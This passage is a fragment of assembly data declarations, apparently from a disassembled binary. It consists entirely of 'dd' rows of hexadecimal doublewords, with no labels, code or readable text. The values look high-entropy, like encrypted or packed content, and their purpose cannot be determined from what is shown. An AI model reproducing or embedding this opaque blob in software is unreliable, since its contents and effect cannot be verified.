131D16BDh, 9324C120h, 16A1385h, 1A5B6D3h dd 2E371BC3h, 88FA294Bh, 0C3008FFh, 4BBB27A2h, 3FC3B011h dd 5E6D6417h, 36101DB9h, 0E73078F3h, 0DB1C2202h, 9B95A375h dd 0EF7F010Dh, 71982B55h, 720E8C5Ah, 4EE94A77h, 3A8CF1B4h dd 0B092BBFh, 75FEE5BEh, 0F12DBBB0h, 72F92705h, 681C801h dd 0B7003165h, 0CF79FE18h, 8480224Fh, 9F204F29h, 8FB16F14h dd 0E6FB690Bh, 190B2027h, 0E7DBB48h, 7CD160EBh, 801700ADh dd 78343F42h, 1054FC1h, 4F199DA8h, 73A47F96h, 607B4121h dd 12268D9Eh, 0EE07D10Ah, 64ECACDFh, 0CACD4AC4h, 3C6B1041h dd 0F5295A04h, 0B344875Eh, 16030B58h, 9F6BDAB9h, 0D3D08D51h dd 14322B54h, 605585Fh, 5B996F50h, 72BFE75Ah, 1573D99Fh dd 0F713A915h, 2C6301DFh, 17AB7Ch, 5C35DE41h, 4920F512h dd 50E6BD0Fh, 0F821AB02h, 48F70087h, 0E932B965h, 0C6BF273Dh dd 57B0AC2h, 58B80990h, 0B8045052h, 3BFF294Eh, 19D9E280h dd 0E90209CBh, 0DC5AA6E1h, 0C7F5C17h, 0DE2DB00h, 17289846h dd 21123EE9h, 2F135402h, 0FF045124h, 0B913D433h, 0A31B937Dh dd 0A04C04C5h, 0F917BC4Ah, 0BB97345Fh, 0A4D9E8BBh, 0DA8461A2h dd 0FB39AB21h, 68147223h, 0AC1718C1h, 4732D130h, 879C2C25h dd 7EA5F488h, 3B466CA8h, 23C5254Dh, 458AAE47h, 8276CE40h dd 204B5A55h, 0DB222C8Bh, 1D01EC58h, 807DB490h, 0F26A6CE1h dd 2ECC126h, 0E9050E9Eh, 0A4BB6FAEh, 0FD9DC84Dh, 0BE0F1290h dd 0C4977CBDh, 54B392C7h, 5A279F44h, 0C3CD71F3h, 4B851F68h dd 9CF6877Ch, 8EBF0AB4h, 54EB7DECh, 533E320Dh, 0DD981A50h dd 6639692Fh, 35AF0966h, 12805F20h, 1ABF1527h, 92AFF89Dh dd 0AC673AB4h, 0EF9A6D9Ah, 0EB1F4074h, 0C1A157CCh, 15BE12F5h dd 0A637045Fh, 25D8AA80h, 0A7204AE2h, 0CC2F182Eh, 13CAF73Dh dd 167A506Ah, 8F590275h, 32752945h, 1FCED7D5h, 1DBB5307h dd 82090E4Ah, 77DBF730h, 0A282D274h, 6A2C4270h, 85FD6035h dd 0B70E2647h, 6F688E34h, 0F060FE56h, 1B7C4FCEh, 98C78364h dd 6750509Fh, 0E733C16Ch, 31581208h, 0AA0C1324h, 5312FCFCh dd 0D6ADE92Fh, 3E43599Bh, 8A8744BFh, 0F9BC8D07h, 602435AFh dd 3EE19761h, 0BF9985B0h, 7D092573h, 8496F5D4h, 80020790h dd 0C16F1B45h, 0D617E0E0h, 2CD91824h, 7BC31E57h, 89614698h dd 0F09DE9B6h, 0A6F3A3A6h, 20F8B7A5h, 0B85EB35Ch, 0E3318916h dd 0A7C654EFh, 0D14C2204h, 0A680EF0Bh, 645C6015h, 0A90E9842h dd 66CED2BFh, 1C58680Bh, 0B1AD6751h, 0A72F87C1h, 0F64A127Eh dd 0C817738Ah, 0EEE340EAh, 85A78B0h, 0B7E05D4Eh, 0E9540B55h dd 0C5F244BDh, 64B05B7Dh, 812C5920h, 0F36A72F6h, 2E90966Fh dd 97111E55h, 51F6B1E0h, 89E90FCBh, 0C843DE5Bh, 93273AF9h dd 0BA701498h, 17DDD682h, 4A3CEC17h, 558959FDh, 20EC9657h dd 409FA77Ah, 82C17192h, 603EB06h, 0BB95062Eh, 1F4E216h dd 180917BFh, 5639AF24h dd 0D9DBCBD9h, 89224AE7h, 2B0A3448h, 5F96A9Dh, 0EFC529AAh dd 11C78E04h, 7B79B6AAh, 98C0B125h, 1FF6C297h, 892AD7A1h dd 76146B1Bh, 4B77F4B5h, 0D05860F4h, 1E56053Eh, 22DF829h dd 0E2E95F07h, 0BD5025C9h, 334B81DAh, 4DDDF739h, 57A2C30h dd 89C901EAh, 0C3F804E8h, 57DDBC58h, 0E6A61210h, 0FC01B0A5h dd 0CE78FEF4h, 6F51D6CEh, 0C0D079Eh, 0DD4DD709h, 0E9CB5B19h dd 0B69F64D6h, 0ACD388CFh, 77DF6025h, 436B2F23h, 8351374h dd 0A17D90EFh, 0A62018E4h, 0F8895A01h, 0F5F93467h, 591CA4AFh dd 34983BFFh, 63D96044h, 703E89C2h, 2FFC765Fh, 1504FF4Ch dd 0EC0DD272h, 5965820h, 27C86B7Eh, 7C79F007h, 52C44085h dd 51855E94h, 66D5CB1h, 0AC31DA2Ch, 27FEA474h, 0E004A975h dd 0BC5DE994h, 7268044Eh, 3B65AF56h, 0E9F3E8FCh, 6A64E6E3h dd 5B9699EAh, 16B409B4h, 0DA2D26DCh, 5068D0A8h, 30283B5Ch dd 0F8CB4B36h, 98677253h, 0EA63A40h, 13837828h, 0A09E4097h dd 56C3E13Eh, 659CE21h, 6A03334Ah, 639EE0Eh, 6E1A8681h dd 121371D0h, 0EFEE30E9h, 5C2C2938h, 90443AE5h, 0EE445A01h dd 0E0AE5E25h, 0C4C058C6h, 4A7D719Dh, 0B74CF0E9h, 7096D814h dd 0B6BCE958h, 0FC643EA8h, 215CEE05h, 67C9525Fh, 2090F21Dh dd 3C903645h, 0CF137C5Bh, 8506A3ABh, 0FCE736A6h, 45292F7Bh dd 0D9711177h, 0C9F2F8E8h, 8D8BDFDDh, 5D2D36D4h, 0CCF76D0Bh dd 402FE1E9h, 7343E351h, 21983FC0h, 24404638h, 77A5BF02h dd 0E92C9F4Eh, 5FAFEA56h, 0A4A1B116h, 2C367ECDh, 1F7BF97Bh dd 9BD5659Eh, 5F25E144h, 7702A36Ah, 0C3210DB4h, 772DE52Eh dd 0EF5B9F84h, 0B242F461h, 0E4587160h, 82E64AE9h, 0E1483331h dd 394659Ch, 2D167CCBh, 729E0975h, 710A20B9h, 6CA85F5Fh dd 95495A19h, 3BAD2EDDh, 0BF8A70D2h, 53714407h, 0BE95612h dd 79ADEFC3h, 162625A9h, 28681A10h, 0D1F86A5Ah, 0D80F41C5h dd 451744D5h, 0D8E87B5Fh, 0E74ED80h, 0CC06FA9h, 9299DBACh dd 0BF79F8E9h, 3A3BE919h, 0CB50730Fh, 0BA9D846h, 54646853h dd 25C051D4h, 74E919D5h, 0BB26C095h, 781452EAh, 61BC4B5Fh dd 47445802h, 80FD093Ch, 3EFCF394h, 193248E8h, 0C1334004h dd 0C561C270h, 0A7F88D05h, 6CEA123Eh, 0C2800564h, 9279C5B0h dd 97605D8Bh, 0D122BE09h, 39695C3h, 6679B625h, 479D2093h dd 83CC43B5h, 0DC4BD2C3h, 0B8DF27D1h, 5849F2E3h, 8B69620Ch dd 8B53EE0h, 7295BFE0h, 8AB7254Eh, 61C9601Bh, 0E16C243Bh dd 20275290h, 80697173h, 0F164501h, 0BD205B8h, 0D86304FAh dd 0CE810056h, 0CE462AB0h, 6B22EEE8h, 747D7F4Eh, 7CB6099Fh dd 5477B4A2h, 16721957h, 0BAFCFBE4h, 3AC02067h, 81728398h dd 574A9F0Ch, 12590C44h, 0BC48464Fh, 4ED52E15h, 0AA69AC2h dd 71DA0B43h, 0F14E93FFh, 0BA041239h, 0F57A9DA1h, 4352CE92h dd 9A6DB97h, 0B4CAC768h, 0C9BCDBF5h, 0E90FB65Bh, 0FF1E5ACDh dd 0DA9286A0h, 0E19FDCD1h, 0FE3A53EEh, 51895A2Ch, 0D024EBD0h dd 694F0935h, 105E6C6Dh, 868AAAA6h, 85BDB61Fh, 15CC63AAh dd 0C118F9FCh, 0D1F59EE5h, 0E1065112h, 2023CDEEh, 0CDEE555Ch dd 0F9DE5097h, 7211F26Bh, 1476B4EDh, 0BC6D24FFh, 0A0E425F1h dd 3B2FC961h, 0B1124E17h, 6DA06EEEh, 9B9C39C7h, 452FF9D1h dd 0F1FCE9F7h, 20F22E3Dh, 0E3D3FFA4h, 0F1FE9244h, 0F99D0BB9h dd 0E8516EB1h, 139F1149h, 341235D9h, 329BEC53h, 0F55EADA7h dd 1A0B3464h, 527958h, 5F359B20h, 5EE8C416h, 0EB8AA31h dd 7A9EEAB0h, 0D94FB82Ah, 0FD97059Ah, 1857D6B2h, 0A47BE9C1h dd 18E303CCh, 0C105297Ch, 120508B3h, 14370FDh, 0C7408100h dd 0B729FB75h, 6B0227FEh, 0D7740611h, 0F3049DF0h, 3AB18088h dd 410FA5BFh, 6E4D286Ah, 899F6FE3h, 0A2B01A71h, 0A2002A19h dd 5DE82178h, 2EF5F305h, 3C81A7DDh, 53775B01h, 6FE5E955h dd 0B7AECE12h, 83F827A5h, 0FDC80120h, 2221F1AEh, 2BED1A16h dd 0AD78FD2Eh, 0F742E0Ch, 0A02D2E5Ch, 0B213E907h, 3B68147Bh dd 0B9805163h, 0E931F920h, 3A5FA5Dh, 7AD5C181h, 6AB4979Fh dd 2D2D7DFCh, 74A5DEDEh, 0D7E9C24Fh, 0CBE4A077h, 4F7A5548h dd 1C5DA910h, 5F2D1FA4h, 0F02589Eh, 0A368C8BFh, 774CF53Dh dd 530E4Dh, 0A03313BBh, 13B2BA6Bh, 9EB5236h, 370658B5h dd 891F0C0Ah, 55AD0132h, 3408F988h, 0B214170Ch, 0B1510F7Ah dd 0E25D098Ch, 796A55ECh, 682D63FCh, 103E2842h, 24C06BE9h dd 5F725201h, 57210946h, 228D9FBFh, 415BD913h, 65C171C0h dd 41D2481Ch, 0BD66F102h, 8FE0B33Bh, 0F3250368h, 0A0455C48h dd 3DE91708h, 0E803A502h, 0F397921Dh, 5FB8EF8h, 499DEB13h dd 0AE38D42Ah, 0B6CB6AF9h, 0ABF50EA9h, 4222766Ah, 444AC2B9h dd 51004A7Fh, 0A7454AB0h, 0CFBA15F4h, 165020EDh, 0E25582C1h dd 1058DD1Ch, 25EA16EAh, 4A5C0B52h, 0F89C31EFh, 0D58C7E5Fh dd 29425D53h, 0A4C9D837h, 7A1BC2Bh, 181C26BFh, 256BF40Bh dd 0AE6066E2h, 6B0B2DFCh, 0FEEA8755h, 96D31908h, 9E142873h dd 127CF08h, 0ECC061B4h, 54063F03h, 0F0659F4h, 58E62850h dd 0D068CE3Ch, 1FCE8FDFh, 456EEC0h, 520766ACh, 0F028FEB6h dd 0C3AF5A64h, 27845DD6h, 4832CC7h, 3880F4FEh, 0BEC828ACh dd 0DD051869h, 709D885Ah, 4EDDF449h, 66239C1Ch, 0BBFC504Bh dd 0EAEC9098h, 66B8CCE6h, 0ACBC9B2Eh, 0E1885185h, 55F087FFh dd 77F0E8F9h, 36BD9BFh, 4F21685Ch, 66A8AB84h, 0DBD60BF5h dd 4F0F1EF7h, 0F514FEF6h, 0A3BBE508h, 0A4A2D2D3h, 8591A85Eh dd 0E4AA36A9h, 0E3F2DDD9h, 0DE283158h, 0CECA7409h, 782097FAh dd 6D1748BDh, 0E505D2Ch, 0A383A04h, 7B7AE8AFh, 0C9F7B09h dd 34AB8252h, 0D16960FEh, 0D03905EAh, 0B0D6840Fh, 432D6883h dd 99EC671h, 4DF64099h, 0C0025E84h, 0A56FCD1h, 1FD70348h dd 1E737020h, 21305E9h, 80104139h, 0DA7294AEh, 10EF595Fh dd 0C05B08ACh, 0C21A9DC0h, 0E9463909h, 73BAB3Eh, 8D0C3123h dd 0EC2A4E51h, 3085A459h, 1A3C76ABh, 5940B809h, 2001588Fh dd 0BA2C5A3Dh, 2B009885h, 0F707EAC1h, 8104C0DAh, 0D259FCE2h dd 31E90638h, 55167577h, 7D255207h, 50E9FF5Eh, 5A5E9E16h dd 3D280AC1h, 3DE940E3h, 0C1308241h, 3FC445EBh, 87334BB2h dd 84ED38Ah, 0E98FC8EEh, 6784485Fh, 0B56BFCFAh, 96AB28FFh dd 0F0A6725Fh, 7DFBFC5Eh, 0F3A4DB24h, 0D588DD9Ah, 4FB0AE50h dd 1383425Dh, 0C4ACD731h, 74E8E9B8h, 73A8D5D7h, 0F47F7156h dd 31D39F15h, 8093ADBDh, 3DDDB8B3h, 0F77000ACh, 65BD2DD0h dd 485B7C3Ah, 90E69F1Eh, 6A39BC02h, 0F88277CEh, 0CCA26423h dd 0C6550C0Bh, 6A8D2C95h, 41FBA85Ch, 7413AB1h, 4D610442h dd 483EE22Bh, 0B0500346h, 0F8FA0CB4h, 2EC7883Dh, 931582E9h dd 8EBBB05Eh, 84BAD949h, 4413BC13h, 18048A11h, 9FE305AAh dd 163B450h, 41F3194Ah, 0B87FA5E6h, 9012AD55h, 4BA3E430h dd 0DE9BBA51h, 4559794Ch, 80B3C502h, 69548662h, 0FA431A3Fh dd 0E679F7A8h, 0E0688AB0h, 0BC43DE4Ch, 0FAC55964h, 5228CBA4h dd 0E825A552h, 688B73F1h, 7A30D78Bh, 5F818CFAh, 165AF020h dd 0C44C973h, 0C75B039Eh, 0CA7CF40Bh, 0EFDB253Ch, 7D0C081Ah dd 681790F8h, 0B9374093h, 0D3F85589h, 1513996h, 68FDE485h dd 0BE86220Ah, 772D6754h, 3BA1397h, 0BCE94FFAh, 813B5E79h dd 7F054C6Dh, 6A65EC32h dd 0DF9D6005h, 59081264h, 9403EA4Ah, 0BD23C77Eh, 51E30B82h dd 2BC13977h, 70AAB64Fh, 0C9D4301Dh, 0DADC1B54h, 0D8C80672h dd 0BAE9A32Ah, 498D895h, 52749FBBh, 4566801Fh, 1650EC6Ch dd 202868B8h, 0FF20D4B8h, 0B450161Dh, 0E8D00EFAh, 0D0A2C461h dd 0AD2288E4h, 0DE010C8Dh, 5B80E16Ah, 56C42D68h, 0C370C37Eh dd 3E556458h, 22BA999h, 21E422EBh, 0B0D477D7h, 7D8C5B18h dd 692D3901h, 917AB007h, 19D17141h, 10FD45BBh, 0A3750790h dd 0C0964F11h, 0E7685FD3h, 459075BAh, 0A06D6958h, 9448D668h dd 0BB53407Fh, 73091097h, 0C1FCE957h, 883E5C0Ah, 0D6400A31h dd 43CB0681h, 0AA7FF36Bh, 4940901h, 1529E980h, 0A36C8C2Bh dd 0C93BCA41h, 40093E22h, 2544F6F4h, 5FE7CC7Fh, 0E66F134Bh dd 909A7485h, 16BC71F1h, 68985307h, 3CB22A5Bh, 5BD59650h dd 31832CFEh, 765DEA25h, 3DB982ECh, 0B1C0D053h, 0B2B004E1h dd 0C006026Eh, 0F864BD55h, 14E3E9Eh, 0C0CD3664h, 0EABEED1Fh dd 399F0F26h, 80D32F2Fh, 322CE5EEh, 9C4A9D26h, 14E90801h dd 5B883AF3h, 7C9C0408h, 0EA5E4CEDh, 0FAA4EDEDh, 2D217DDEh dd 0D12EE905h, 5584C690h, 847D4F8Fh, 0E804C690h, 0E90384FDh dd 0F8D154E6h, 693F6002h, 20E63CCFh, 0FDBA5A0Fh, 0C8277A23h dd 0A69DD19Bh, 0C1F549CEh, 883D56DEh, 8D7327C4h, 0F49F60E5h dd 455C4D98h, 16A70052h, 0E6813523h, 4CAEECA3h, 892D9328h dd 9EB7F446h, 0FA534AC3h, 0B8B92E57h, 0FEF92576h, 5395AD4Ch dd 0CA01016Bh, 2F5AEFE9h, 4B4CF8F7h, 21297289h, 8BC5465Fh dd 5E37FAD2h, 1E7928DFh, 8FD05A1Dh, 0C7753A68h, 355BA316h dd 303D8016h, 590CF78h, 50E3C520h, 1F8BCC4Dh, 15A0497Fh dd 3114B66Fh, 97849DE8h, 546802CFh, 819F710Ah, 635B45FCh dd 6F9FDDE9h, 0E05AEFA2h, 935FC6E7h, 0CBA46EBCh, 5C977A90h dd 0D41D0D77h, 0CEC36FF0h, 0F8CA0AF7h, 0C9D665Bh, 75DB1D9Ah dd 127E2841h, 0C457BE0Eh, 0F65084ABh, 84409294h, 2EF02384h dd 0DFE91655h, 0C2135632h, 5E57C6B4h, 39133FABh, 0D7D447EFh dd 27068608h, 87A1F6B7h, 0A093258Bh, 6BE9D609h, 517009Ch dd 0A2E8D1E5h, 0FE95DA51h, 0FBE76783h, 7505625h, 0C4D28EE9h dd 0B76A5Ch, 0F2E95807h, 81D4977Eh, 4C39349h, 1828D40Ch dd 3EECBA22h, 679168C0h, 0E92D400Bh, 5FA484B3h, 204F3AEh dd 177AF4BBh, 0F7DC154h, 84707A97h, 0D736BB30h, 662FB2Ch dd 61DBE90Bh, 990881E5h, 0EEBE1362h, 5AED885h, 0BEC7AF93h dd 40D33088h, 4E605B97h, 9106C540h, 406FFA4Bh, 5277ACF5h dd 20123C2Dh, 0B5259D7Fh, 0C2011842h, 3A48AC50h, 0E91B8204h dd 0B5FE2420h, 0A3582F60h, 5340682Ah, 0D34CF754h, 0BB05214Dh dd 0ABA74DDCh, 247CE6C6h, 0C8EFE4BCh, 0D977C9A5h, 9F8072B4h dd 1B9F4673h, 0A70EE9F8h, 0C0793F35h, 544194F1h, 0BEFB825h dd 78CBAEACh, 5FE89689h, 8299F0A4h, 0EC804F34h, 300FCCEBh dd 0A60C11CFh, 555A6C08h, 8AC3C5C2h, 1422E708h, 8FAC2FF9h dd 4B64E916h, 1AF45CB2h, 80D26FC2h, 3EEBE84h, 164258E5h dd 0B23C305h, 293FC0Dh, 292A9D9Fh, 5457DF5h, 7A7EFE27h dd 0C26BA382h, 1D61BE00h, 5C7A603Fh, 3E4D5DF3h, 20BCDAB7h dd 60BF68D7h, 9BA6A5Ch, 0FD89AB5Ah, 0F70BABC5h, 6989F5DDh dd 873892FDh, 2979169Fh, 1C6DED8h, 0D41A79F2h, 9FE06B27h dd 541C788h, 568EDB7Dh, 280B2AAEh, 63087783h, 7099A909h dd 0E6E30795h, 17247A30h, 3BE9124Eh, 0A692BC36h, 0E5E841E2h dd 72FA4156h, 8915C459h, 0DD97CE75h, 162DCAA5h, 1922BF0Dh dd 260BDCC4h, 4E7AE949h, 0DCB70225h, 0D17D6960h, 5B75C932h dd 0FC74A520h, 7C517772h, 71AE188Bh, 29C4CBD8h, 0D761E912h dd 96680E02h, 60ED770Ch, 68D805BEh, 0A4B02F5h, 0E17E8B5Ah dd 0C02A58AFh, 80F18CDFh, 108DF258h, 0FF5BD02Bh, 53F02Ch dd 80685651h, 5E33F65Ch, 0D8EED127h, 0B2CE097Bh, 3202F1FAh dd 8009C0D9h, 0BC5C1AA8h, 98297F76h, 5F088116h, 93F3A63Bh dd 66422103h, 0A665955Bh, 5A18D519h, 5CCAF470h, 1E4A2F59h dd 0F0019316h, 730BF23Dh, 555B6417h, 2E533E02h, 123C59D1h dd 0AED15846h, 0F66A0C64h, 0EFD475ABh, 1ECC621Fh, 0CD29021Ch dd 0FDC2CC2h, 0C4BEB00Fh, 0A4106A51h, 5EF8E325h, 42281C7Ch dd 0BA0FD2E0h, 4FEA2D6Ch, 25A9A957h, 31BA5A8Eh, 42DEF730h dd 907FACEBh, 0DFE83002h, 130E56F9h, 0C012E26Dh, 0F607EBC0h dd 3CE3EAD3h, 0C8378008h, 0CD19B80Ch, 0A8000C06h, 0E917D820h dd 0B3D5A7E0h, 5ADCA0AEh, 0C1685003h, 651EDF63h, 911C1069h dd 51BBA1Ch, 85EF87AEh, 5B5CE804h, 23938BFh, 0B3A5869Fh dd 3225203Eh, 0D147A680h, 94FF1B9Dh, 63350912h, 6CB26534h dd 34E71222h, 0BA9906A6h, 395636B0h, 0F112D689h, 7EB2EA5Eh dd 934FA8F6h, 5AF386A8h, 0E868A50Ch, 9A81717Eh, 0DFF39F8Ah dd 64D96389h, 0E3FE4C61h, 12CF8C84h, 124422B4h, 0BD611E94h dd 0D021C53Dh, 0FE36C2h, 2801B353h, 3449D97Ah, 16F74C30h dd 9663181Eh, 0FCFEEA57h, 0ED68508Ch, 15A73E53h, 2DC198E9h dd 0F6187853h, 93ACCEDh, 1767B164h, 0BD4C12Eh, 58067BBDh dd 0FB6EA168h, 0D2E1DE4Ah, 0B549B92Bh, 0CA78F3FBh, 0EF4A7854h dd 0D72A7300h, 9841592Eh, 5236A949h, 0F249FD7Eh, 7D8ECA10h dd 0C5CE8553h, 21900FA5h, 48654E2Dh, 0F138BC1Ch, 195E8D2Dh dd 123B8C3Fh, 9190C3Ch, 2D3F6DF0h, 0E95FE0FFh, 4243608Bh dd 5E646FB9h, 0E9166E4Bh, 0B7484EAh, 985F5A0Bh, 0CEDAA66Eh dd 0BD7287A2h, 0E128898Eh, 0A82A66E5h, 5E1DA30Ah, 6B72F4B1h dd 78B02F2Dh, 0ABDB05AEh, 81297538h, 3AFD869Dh, 67E38D44h dd 23AE0F12h, 0CCDED32Fh, 0ED17353Dh, 4C07110Bh, 7242751Ah dd 22E90801h, 0A714282Ah, 0BD00D7C4h, 62EF604Dh, 0CF58130h dd 0C31950Fh, 77295DEEh, 0BE48ABB4h, 0EB6ED87Eh, 0CB281D36h dd 0C14A6E89h, 2E5DD768h, 0E0FBE235h, 0DB28E930h, 0C01E99EBh dd 540903E0h, 46F7220Ah, 99664621h, 0C0BC1295h, 37DFBD6Eh dd 0D6BB8650h, 0F745B754h, 5268E10Bh, 0E28F562Ch, 1B5CCDC1h dd 2548FB63h, 0CEDF5B38h, 61E9517h, 24BD555Bh, 3A8468C2h dd 6EC5A0A2h, 89BF5004h, 0AFE04538h, 20C29E98h, 470EFED1h dd 6B67C120h, 0F60F8003h, 0F41FBD54h, 313DF3E1h, 36044A76h dd 59488EFAh, 0D4A610E8h, 0F24BBA7Ah, 0EC3754F4h, 483F0CE6h dd 0F0C4A77h, 2B0D3E12h, 0F03FB08h, 46459968h, 9E5AB23h dd 0E11F38E8h, 0A0BDA87Ah, 9D6082E9h, 59189320h, 5B4B29E1h dd 0B72904FFh, 0BEF7ABA7h, 0A946495Bh, 89B0F9F5h, 0B0207C64h dd 5E4812E4h, 8CE3BA1Dh, 0AFD6A6DFh, 0C4FE9856h, 6653C1C5h dd 0C1516C10h, 28D006B8h, 0AB7EC07Fh, 609FB015h, 1E5705F3h dd 901E95BFh, 6921046Eh, 5FB47F8h, 0E292BE80h, 1D884EC3h dd 206801C5h, 78E93AD9h, 5248075h, 0FEDFFDA1h, 4D73BF89h dd 41AF5E2Fh, 6F1B4768h, 5D7EE8B6h, 45581838h, 36055F01h dd 3ED19466h, 7F4205C9h, 92ADDE13h, 25AE838h, 26837080h dd 9E6DD89h, 0ACDF6BDh, 89F56C29h, 0B3571422h, 42CCD1E2h dd 0FEF1B782h, 8BE3F3A7h, 334D01EFh, 0EFC2DB29h, 9959088Bh dd 9B9A046Bh, 1032EC12h, 0AB4FF770h, 77339281h, 1580DD6Fh dd 1313BA88h, 20733DAFh, 402DA3B4h, 207BF14Ah, 5D4C9808h dd 6648E516h, 2B58E54Fh dd 4F9B30F0h, 28FFA4D3h, 44C44912h, 0F84AAFFCh, 7947657h dd 281E7C08h, 778D2716h, 0E92C0A14h, 0FF12B6F9h, 2BB639AAh dd 81BA9400h, 3D518B2Eh, 0FD0639BDh, 6CD53116h, 867303BFh dd 89D4BFF0h, 0C0D4F2EFh, 0D21BA068h, 35B4E47h, 133C0502h dd 6940AFE4h, 0D71AD9E7h, 8F475C3Bh, 5151B310h, 0A3584077h dd 0D9A39102h, 0CB817639h, 5ED283BFh, 0FC6B52CAh, 56E83293h dd 0B4BDFECBh, 0D622CB7Fh, 0D10B3F7Bh, 8015671Dh, 2B2ABB53h dd 8CC06C86h, 6D504575h, 6E501C1h, 0DD32E957h, 58ED7BFEh dd 27C90B9Fh, 2484E06Ah, 0AD3E1D1Ah, 51248B17h, 79C360CDh dd 255BF929h, 88A10FEh, 970F9840h, 130B6466h, 193249h dd 87D4092h, 83729552h, 36D9120h, 9D5663BFh, 0A1DA4F4Ah dd 0B90BBFD0h, 1951B98h, 6068C9F9h, 0DB6DC5h, 0BBD63862h dd 5FE9CB01h, 5DAD024Bh, 3241E184h, 0C835E254h, 1D6405D8h dd 4072BF55h, 81EC44C1h, 0CEB0C501h, 907CF26h, 5B595D61h dd 50814E34h, 6014B8CDh, 3DE10C6Ah, 3D906B33h, 8AFDB0Bh dd 0CFE05F69h, 0D9971AA4h, 3776064h, 97A025E7h, 3E272754h dd 88D5458h, 52076739h, 0D726E288h, 0DF843448h, 40EF0117h dd 683CC611h, 0EEA84E94h, 0E928BF4Bh, 66574053h, 2F3A2FB4h dd 0BD167E58h, 8A1105Bh, 1C300858h, 0B61EDA1h, 0F2339734h dd 0FBAB01FFh, 3F13EF2Ch, 8A1CFC04h, 4EF58ED3h, 9D9FAC30h dd 56710312h, 4B577B81h, 0C86D5182h, 91020756h, 17D26BF3h dd 1C779B29h, 69F0D62Fh, 4991A220h, 12D153Dh, 0A00ED94Ch dd 552B900Ch, 0F12BA854h, 3AEF650Fh, 0FB2D72C0h, 5B982D51h dd 720F6FCh, 0D1BAE913h, 0F04BAFDh, 0AF6EC111h, 20F67D7h dd 0FF8966C0h, 82FDDCCAh, 0F9E26FD1h, 72DB42BAh, 0EC58F529h dd 26C9D495h, 0F2A02F1Eh, 0E72ACBE5h, 3DDA4450h, 1293BD80h dd 0AA129B1Ah, 0E9098CB6h, 9A5D1737h, 1DC78D7h, 451B2A6Eh dd 6E2103E9h, 4E291498h, 0B14BACFEh, 0AE150A4Fh, 0A2D7F8F2h dd 27572A6Fh, 685F55A0h, 991FD825h, 65352DF5h, 0C8C8B602h dd 17665B9Fh, 0D02E0D68h, 0F672B6F0h, 0C2FEDE4Ah, 545D0569h dd 59843D97h, 0E47BB353h, 6016F385h, 89A171E9h, 88EDB63Bh dd 0D37D0C1Ch, 9A905980h, 64FAB325h, 0B666FEBEh, 0CAF525D5h dd 6789DDFAh, 2583E4DDh, 0C2525E56h, 0EC1E4509h, 697F0026h dd 3D5D8375h, 646D21E9h, 0FB9CE3CDh, 0AD04F752h, 8C9446BEh dd 39E891D0h, 4F55725Ah, 0FDC1C921h, 4EA04FCh, 0E44068DFh dd 6C9C1C8Ch, 2D175912h, 0E2D8F5E8h, 25047CBBh, 0EBD14175h dd 7FE5EFEh, 6F71215Ch, 251ABB40h, 0C14EE946h, 5705BB0Bh dd 5426DDC3h, 2E0720D0h, 572B163Fh, 395074A7h, 0B656EF9Ah dd 0F5F18156h, 0A3AF9654h, 6A301063h, 36EC8009h, 0AFCD8357h dd 0EF2B2552h, 0FFC9445Ch, 28B1D0E9h, 0FE881361h, 18163DE6h dd 0E8014141h, 69469601h, 0DB551F20h, 0C6E5F67h, 250A2CBh dd 0ACA5B5h, 0CE80A4B6h, 0EE24AA73h, 781A36ABh, 8DE1DD12h dd 0E66385BBh, 3280B734h, 280E24C1h, 4AA675F7h, 272BF2A8h dd 0FB3CE85Bh, 3E0095DFh, 28E9EC7h, 0C829783Dh, 0F360B7B5h dd 5097B250h, 0BAFA7EAh, 29030530h, 8202754h, 0FC5BD396h dd 81E7F8BEh, 33A840B3h, 0CBA3F26Ah, 9A28D7F3h, 0B4E525C6h dd 0FDFE09AFh, 0EF09B394h, 89231A3Ah, 820EF015h, 0C00DD08h dd 5D45C558h, 0D8EA1ED6h, 0DB517D63h, 0C6F1D483h, 0BCBD0AC0h dd 0FE1E693Bh, 123A9613h, 3E49A95Ch, 5C01C07Dh, 4E7F9EC7h dd 0C727FCD5h, 3D351C90h, 183C3481h, 89C99D7Ah, 5C711718h dd 88C1B039h, 6F7FEA67h, 150C5598h, 0CA370743h, 0EC253283h dd 0BC49C87Ah, 0EF0E205Ah, 4BE28D5Ah, 674A7205h, 7BE0FE29h dd 7E00959Eh, 6AA1685Eh, 884E7BFh, 0C0243BD3h, 5647E501h dd 54EE31EFh, 0D94688EAh, 3132B26h, 0E751CBE9h, 9177373Dh dd 0E9028377h, 7955D792h, 0FEDDE794h, 0B9F1AC40h, 0BD69CB3Eh dd 0C0952F50h, 80044B67h, 4F79EFBDh, 604B1B7Ah, 0F3BF0212h dd 61AE9261h, 2F1A2CCBh, 9510AA3Ch, 29C22976h, 74AF62F2h dd 0DE090E43h, 0B853C3EFh, 2CD2D0A1h, 519D0737h, 0B7A0579Eh dd 0F890E5D8h, 2DF5014Ch, 7A04DDC4h, 9CF7C050h, 5B0EDE08h dd 68BB151h, 3F1E59CEh, 75F5286Bh, 125A61EBh, 5016E971h dd 1AEABDA9h, 0A65F3B2Ch, 8217AB09h, 58C0E98Ah, 805697B1h dd 0BF90CA50h, 7177F7BAh, 0AF66C5FFh, 0A80DE921h, 515F2902h dd 0B25797D4h, 92C98492h, 71C0413h, 10C9F9F1h, 8117B2FAh dd 464504E3h, 0EE67C20Ch, 0D3C0104Ah, 5225F329h, 0A9AF5F50h dd 403CBB97h, 0A774AE9h, 0CB7ADD6h, 0CF61B417h, 48447B09h dd 0F7920502h, 89F7C1EFh, 0FBD044FBh, 0AFA90412h, 0F05A1F9Fh dd 6E684788h, 85F15659h, 0F5B96CF1h, 3F12D6h, 847A1C12h dd 0D62FE95Fh, 5FBC2D10h, 406BD720h, 0ACEC5262h, 0EB49DE62h dd 0B50DFD50h, 0BDAE10EAh, 81E1528Ah, 5872EDB6h, 0C82065Dh dd 343F654Eh, 68024C51h, 7E424730h, 228709F2h, 0C44FB4FEh dd 0DD987F3Eh, 0CE1A0F4Eh, 0E0D7E934h, 3DF8B820h, 4763826h dd 224A7802h, 61DE8B26h, 0A961BF85h, 4307461h, 295E801Bh dd 0EC55C378h, 34743BE4h, 29920780h, 7D5BFDh, 7851C209h dd 12B84877h, 0AAC9964Bh, 37285CE1h, 0B5D6825h, 19CCC42h dd 80377FEAh, 44CA2925h, 0E90802B5h, 9AF569FDh, 0DD2384CBh dd 0C1A4F317h, 44427BEDh, 0A2DD3120h, 0BB080AA1h, 0E8895000h dd 0BA74A0E9h, 0CA681344h, 8853E923h, 0BD5B13FDh, 6C0B9665h dd 0EF1B5E55h, 43C2133Fh, 6D75BA30h, 